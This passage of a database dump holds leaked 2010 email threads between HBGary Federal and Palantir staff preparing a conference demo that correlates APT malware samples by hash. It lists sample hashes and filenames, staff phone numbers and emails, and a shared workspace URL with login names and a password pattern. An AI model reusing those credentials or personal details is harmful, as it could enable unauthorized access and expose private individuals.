*Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we&#39;ll have all the data we&#39;ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com | 202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: &#39;Ted Vera&#39;\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I&#39;m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI&#39;m sure I could find matches on any subset of these fields in the dataset,\r\nI don&#39;t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren&#39;t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You&#39;ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n&#39;s2010 (eg, ted&#39;s password is &quot;Ted&#39;s2010&quot;). The new APT samples are in an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose &quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it there.\r\n&gt;\r\n&gt; I&#39;ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you&#39;re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',15943,'aaron_hbgary_com/15943.html'),(12500,'2010-10-01','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009251.M375885P14101Q7356.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,','Re: Malware presentation at Palantir GovCon','Yes, the executable names are linked to the UUID in there as well starting on line 1885.  It&#39;s a complete dump of all the tables off the TMC database schema.  Each table should begin with a header row.  \r\nOn Fri, Oct 1, 2010 at 2:21 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks. Looking at it now.\r\n\r\n \r\n\r\nCan I tell which of the outputs is from which of the original\r\nexecutables? \r\n\r\n \r\n\r\nThere’s only one CSV file, the ID numbers in the first\r\ncolumn start over twice, and there are more than two UUIDs, so I can’t\r\nquite figure out the mapping.\r\n\r\n \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n \r\n\r\n\r\n\r\nFrom: Mark Trynor\r\n[mailto:mark@hbgary.com] \r\nSent: Friday, October 01, 2010 4:18 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\nAttached is the current output from the TMC for 2 of the executables. \r\nIt&#39;s still parsing the other 5.  There is some unnecessary data from a\r\ntest executable trojan that I used for testing.  I&#39;m not seeing anything\r\nfrom the binaries so far as a DDNA score.  These were live samples\r\ncorrect?  I&#39;ll ship more as it becomes available.\r\n\r\nThanks,\r\nMark\r\n\r\n\r\n\r\nOn Thu, Sep 30, 2010 at 10:09 AM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\nAaron,\r\n\r\nUnderstood. I&#39;ll be in the office all day Monday.\r\n\r\nIdeally we&#39;d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we&#39;d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com; Matthew\r\nSteckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I\r\nhave\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt;       The deadline is coming up -- Aaron, can we meet again\r\nthis Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI&#39;ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt;       But first, Progress!\r\n&gt;       I tried a new correlation technique -- a much simpler\r\none. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don&#39;t have high Commonality with any of the APT\r\nsamples -- you&#39;ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt;       99ba36a387f82369440fa3858ed2c7ae\r\n&gt;       83d7e99ace330a6301ab6423b16701de\r\n&gt;       c10222e198dd1b32f19d2c3bf55880cd\r\n&gt;       ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt;       279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we&#39;ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we&#39;ll have all the data we&#39;ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: &#39;Ted Vera&#39;\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I&#39;m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI&#39;m sure I could find matches on any subset of these fields in the dataset,\r\nI don&#39;t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren&#39;t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You&#39;ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n&#39;s2010 (eg, ted&#39;s password is &quot;Ted&#39;s2010&quot;). The new APT samples are\r\nin an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose\r\n&quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it\r\nthere.\r\n&gt;\r\n&gt; I&#39;ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you&#39;re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11253,'aaron_hbgary_com/11253.html'),(12501,'2010-10-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009251.M725203P14101Q7357.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Soysauce clusters','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry; source data doesn&#8217;t contain any of the social network\r\nanalysis &#8211; just the Fingerprint outputs and plots of relationships. The social\r\nstuff is a capstone I really think we need for the presentation though &#8211; can you\r\nput that together either for SOYSAUCE or some other APT samples?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Zollman \r\nSent: Friday, October 01, 2010 4:16 PM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, got it now. Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 1:59 PM\r\nTo: Aaron Zollman\r\nSubject: Re: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyou got the source data right?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is Gregs brief from blackhat which was focused around\r\nthis malware set.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9507,'aaron_hbgary_com/9507.html'),(12502,'2010-10-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009251.M7488P14101Q7355.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,','RE: Malware presentation at Palantir GovCon','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks. Looking at it now.\r\n\r\n&nbsp;\r\n\r\nCan I tell which of the outputs is from which of the original\r\nexecutables? \r\n\r\n&nbsp;\r\n\r\nThere&#8217;s only one CSV file, the ID numbers in the first\r\ncolumn start over twice, and there are more than two UUIDs, so I can&#8217;t\r\nquite figure out the mapping.\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Mark Trynor\r\n[mailto:mark@hbgary.com] \r\nSent: Friday, October 01, 2010 4:18 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\nAttached is the current output from the TMC for 2 of the executables.&nbsp;\r\nIt\'s still parsing the other 5.&nbsp; There is some unnecessary data from a\r\ntest executable trojan that I used for testing.&nbsp; I\'m not seeing anything\r\nfrom the binaries so far as a DDNA score.&nbsp; These were live samples\r\ncorrect?&nbsp; I\'ll ship more as it becomes available.\r\n\r\nThanks,\r\nMark\r\n\r\n\r\n\r\nOn Thu, Sep 30, 2010 at 10:09 AM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\nAaron,\r\n\r\nUnderstood. I\'ll be in the office all day Monday.\r\n\r\nIdeally we\'d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we\'d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com; Matthew\r\nSteckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday. &nbsp;This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples. &nbsp;If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible. &nbsp;I\r\nhave\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; The deadline is coming up -- Aaron, can we meet again\r\nthis Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI\'ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; But first, Progress!\r\n&gt; &nbsp; &nbsp; &nbsp; I tried a new correlation technique -- a much simpler\r\none. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don\'t have high Commonality with any of the APT\r\nsamples -- you\'ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; 99ba36a387f82369440fa3858ed2c7ae\r\n&gt; &nbsp; &nbsp; &nbsp; 83d7e99ace330a6301ab6423b16701de\r\n&gt; &nbsp; &nbsp; &nbsp; c10222e198dd1b32f19d2c3bf55880cd\r\n&gt; &nbsp; &nbsp; &nbsp; ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; 279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we\'ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we\'ll have all the data we\'ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: \'Ted Vera\'\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I\'m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI\'m sure I could find matches on any subset of these fields in the dataset,\r\nI don\'t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren\'t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You\'ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n\'s2010 (eg, ted\'s password is &quot;Ted\'s2010&quot;). The new APT samples are\r\nin an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose\r\n&quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it\r\nthere.\r\n&gt;\r\n&gt; I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you\'re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you. &nbsp;If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6169,'aaron_hbgary_com/6169.html'),(12503,'2010-10-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009251.M976568P14101Q7358.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,','RE: Malware presentation at Palantir GovCon','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI still must be missing something.. I see that table but none of\r\nthe filenames listed there match the 11 fingerprint runs from the APT samples that\r\nI got earlier:\r\n\r\n&nbsp;\r\n\r\n0F88BED62A7C70E952C5C32EE675512B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; svchost.exe\r\n\r\n279162665E7C01624091AFB19B7D7F4C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; iprinp.dll\r\n\r\n43307FCF009AE3111F904E99DC4154EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IZArcCM.dll\r\n\r\n773C65273E8116325338131EBA7FA428&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzhcwcio2.dll\r\n\r\n83D7E99ACE330A6301AB6423B16701DE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rasauto32.dll.2\r\n\r\n99BA36A387F82369440FA3858ED2C7AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MLEPOREDT_rasauto32.dll\r\n\r\nAE7BF771B80576EC88469A1BC495812E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rasauto32.dll\r\n\r\nB59A06D7CA956A541944CAC6D0F95743&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mine.asf\r\n\r\nC10222E198DD1B32F19D2C3BF55880CD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; snarf.bin\r\n\r\nC7E858E4A51BA7D26AF9235064988274&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; r.exe\r\n\r\nE6FDACC4F1B816A10F67DC02E8C8D15C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ntshrui.dll\r\n\r\n&nbsp;\r\n\r\nAre these different samples?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Mark Trynor\r\n[mailto:mark@hbgary.com] \r\nSent: Friday, October 01, 2010 4:30 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes, the executable names are\r\nlinked to the UUID in there as well starting on line 1885.&nbsp; It\'s a\r\ncomplete dump of all the tables off the TMC database schema.&nbsp; Each table\r\nshould begin with a header row.&nbsp; \r\n\r\n\r\n\r\nOn Fri, Oct 1, 2010 at 2:21 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks. Looking at it now.\r\n\r\n&nbsp;\r\n\r\nCan I tell which of the outputs is from\r\nwhich of the original executables? \r\n\r\n&nbsp;\r\n\r\nThere&#8217;s only one CSV file, the ID\r\nnumbers in the first column start over twice, and there are more than two\r\nUUIDs, so I can&#8217;t quite figure out the mapping.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies |\r\nEmbedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark\r\nTrynor [mailto:mark@hbgary.com]\r\n\r\nSent: Friday, October 01, 2010 4:18 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\nAttached is the current output from the TMC for 2 of the executables.&nbsp;\r\nIt\'s still parsing the other 5.&nbsp; There is some unnecessary data from a\r\ntest executable trojan that I used for testing.&nbsp; I\'m not seeing anything\r\nfrom the binaries so far as a DDNA score.&nbsp; These were live samples\r\ncorrect?&nbsp; I\'ll ship more as it becomes available.\r\n\r\nThanks,\r\nMark\r\n\r\n\r\n\r\nOn\r\nThu, Sep 30, 2010 at 10:09 AM, Aaron Zollman &lt;azollman@palantir.com&gt;\r\nwrote:\r\n\r\nAaron,\r\n\r\nUnderstood. I\'ll be in the office all day Monday.\r\n\r\nIdeally we\'d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we\'d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com;\r\nMatthew Steckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday. &nbsp;This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples. &nbsp;If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible. &nbsp;I\r\nhave\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; The deadline is coming up -- Aaron, can we meet again\r\nthis Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI\'ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; But first, Progress!\r\n&gt; &nbsp; &nbsp; &nbsp; I tried a new correlation technique -- a much simpler\r\none. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don\'t have high Commonality with any of the APT\r\nsamples -- you\'ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; 99ba36a387f82369440fa3858ed2c7ae\r\n&gt; &nbsp; &nbsp; &nbsp; 83d7e99ace330a6301ab6423b16701de\r\n&gt; &nbsp; &nbsp; &nbsp; c10222e198dd1b32f19d2c3bf55880cd\r\n&gt; &nbsp; &nbsp; &nbsp; ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt; &nbsp; &nbsp; &nbsp; 